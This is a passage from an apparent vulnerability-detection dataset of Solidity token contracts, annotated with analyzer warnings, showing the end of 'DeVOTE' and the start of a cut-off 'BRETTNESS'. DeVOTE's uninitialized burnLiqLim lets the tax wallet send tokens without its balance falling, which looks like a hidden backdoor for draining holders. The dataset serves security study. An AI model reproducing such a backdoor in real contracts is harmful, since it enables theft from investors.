DeVOTE._maxTaxSwap should be constant \n\t// Recommendation for 4eff661: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 14000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6bfd40e): DeVOTE._taxWallet should be immutable \n\t// Recommendation for 6bfd40e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9705c2): DeVOTE.burnLiqLim should be constant \n\t// Recommendation for c9705c2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3c69165): DeVOTE.burnLiqLim is never initialized. It is used in DeVOTE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3c69165: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnLiqLim;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct BurnLiqLimit {\n uint256 burnLiqIndx;\n uint256 burnLiqAmnt;\n uint256 burnTotalAmnt;\n }\n\n uint256 private minLiqBurn;\n\n mapping(address => BurnLiqLimit) private burnLiqLimit;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xdf80fE93285e83BAF974F803D93A8DFFaEf3944A);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1475ce5): DeVOTE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1475ce5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f264d6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f264d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc4f5f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc4f5f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3f264d6\n\t\t// reentrancy-benign | ID: dc4f5f1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3f264d6\n\t\t// reentrancy-benign | ID: dc4f5f1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 735e3d6): DeVOTE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 735e3d6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dc4f5f1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3f264d6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 70d599d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 70d599d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c7b3f48): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c7b3f48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: be6487c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for be6487c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 70d599d\n\t\t\t\t// reentrancy-benign | ID: c7b3f48\n\t\t\t\t// reentrancy-eth | ID: be6487c\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 70d599d\n\t\t\t\t\t// reentrancy-eth | ID: be6487c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: c7b3f48\n minLiqBurn = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapPair) {\n BurnLiqLimit storage brnLim = burnLiqLimit[to];\n\n if (from == uniswapPair) {\n if (brnLim.burnLiqIndx == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: c7b3f48\n brnLim.burnLiqIndx = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n if (\n brnLim.burnLiqIndx == 0 ||\n brnLimSn.burnLiqIndx < brnLim.burnLiqIndx\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: c7b3f48\n brnLim.burnLiqIndx = brnLimSn.burnLiqIndx;\n }\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n\t\t\t\t// reentrancy-benign | ID: c7b3f48\n brnLimSn.burnLiqAmnt = brnLimSn.burnLiqIndx.sub(minLiqBurn);\n\n\t\t\t\t// reentrancy-benign | ID: c7b3f48\n brnLimSn.burnTotalAmnt = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 70d599d\n\t\t// reentrancy-eth | ID: be6487c\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3c69165): DeVOTE.burnLiqLim is never initialized. It is used in DeVOTE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3c69165: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnLiqLim.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: be6487c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 70d599d\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: be6487c\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: be6487c\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 70d599d\n emit Transfer(from, to, receiptAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3f264d6\n\t\t// reentrancy-events | ID: 70d599d\n\t\t// reentrancy-benign | ID: c7b3f48\n\t\t// reentrancy-benign | ID: dc4f5f1\n\t\t// reentrancy-eth | ID: be6487c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3f264d6\n\t\t// reentrancy-events | ID: 70d599d\n\t\t// reentrancy-eth | ID: be6487c\n _taxWallet.transfer(amount);\n }\n\n function transferAllStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2182da5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2182da5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5b48926): DeVOTE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5b48926: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9865da9): DeVOTE.openTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9865da9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 88e2595): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 88e2595: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2182da5\n\t\t// reentrancy-eth | ID: 88e2595\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2182da5\n swapEnabled = true;\n\n\t\t// unused-return | ID: 5b48926\n\t\t// reentrancy-eth | ID: 88e2595\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 9865da9\n\t\t// reentrancy-eth | ID: 88e2595\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 88e2595\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10549.sol",
"size_bytes": 23203,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BRETTNESS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a5cd8be): BRETTNESS._taxWallet should be immutable \n\t// Recommendation for a5cd8be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 227a2dd): BRETTNESS._initialBuyTax should be constant \n\t// Recommendation for 227a2dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: c4c26a5): BRETTNESS._initialSellTax should be constant \n\t// Recommendation for c4c26a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93971b7): BRETTNESS._finalBuyTax should be constant \n\t// Recommendation for 93971b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a458c1e): BRETTNESS._finalSellTax should be constant \n\t// Recommendation for a458c1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ccc4d9): BRETTNESS._reduceBuyTaxAt should be constant \n\t// Recommendation for 3ccc4d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad38980): BRETTNESS._reduceSellTaxAt should be constant \n\t// Recommendation for ad38980: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 817c201): BRETTNESS._preventSwapBefore should be constant \n\t// Recommendation for 817c201: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Brettness\";\n\n string private constant _symbol = unicode\"BRETTNESS\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 837c88b): BRETTNESS._taxSwapThreshold should be constant \n\t// Recommendation for 837c88b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 313427f): BRETTNESS._maxTaxSwap should be constant \n\t// Recommendation for 313427f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1028ebb): BRETTNESS.uniswapV2Router should be immutable \n\t// Recommendation for 1028ebb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 672bf5d): BRETTNESS.uniswapV2Pair should be immutable \n\t// Recommendation for 672bf5d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c26c45): BRETTNESS.sellsPerBlock should be constant \n\t// Recommendation for 0c26c45: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd3dd36): BRETTNESS.buysFirstBlock should be constant \n\t// Recommendation for fd3dd36: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07bb67b): BRETTNESS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07bb67b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 709a345): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 709a345: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 042f15d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 042f15d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 709a345\n\t\t// reentrancy-benign | ID: 042f15d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 709a345\n\t\t// reentrancy-benign | ID: 042f15d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 04a4322): BRETTNESS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 04a4322: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 042f15d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 709a345\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bf5d2dd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bf5d2dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7d94fc3): BRETTNESS._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 7d94fc3: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fea5cbe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fea5cbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 39fd08f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 39fd08f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 7d94fc3\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: bf5d2dd\n\t\t\t\t// reentrancy-eth | ID: fea5cbe\n\t\t\t\t// reentrancy-eth | ID: 39fd08f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bf5d2dd\n\t\t\t\t\t// reentrancy-eth | ID: fea5cbe\n\t\t\t\t\t// reentrancy-eth | ID: 39fd08f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 39fd08f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 39fd08f\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: bf5d2dd\n\t\t\t\t// reentrancy-eth | ID: fea5cbe\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bf5d2dd\n\t\t\t\t\t// reentrancy-eth | ID: fea5cbe\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fea5cbe\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bf5d2dd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fea5cbe\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fea5cbe\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bf5d2dd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n 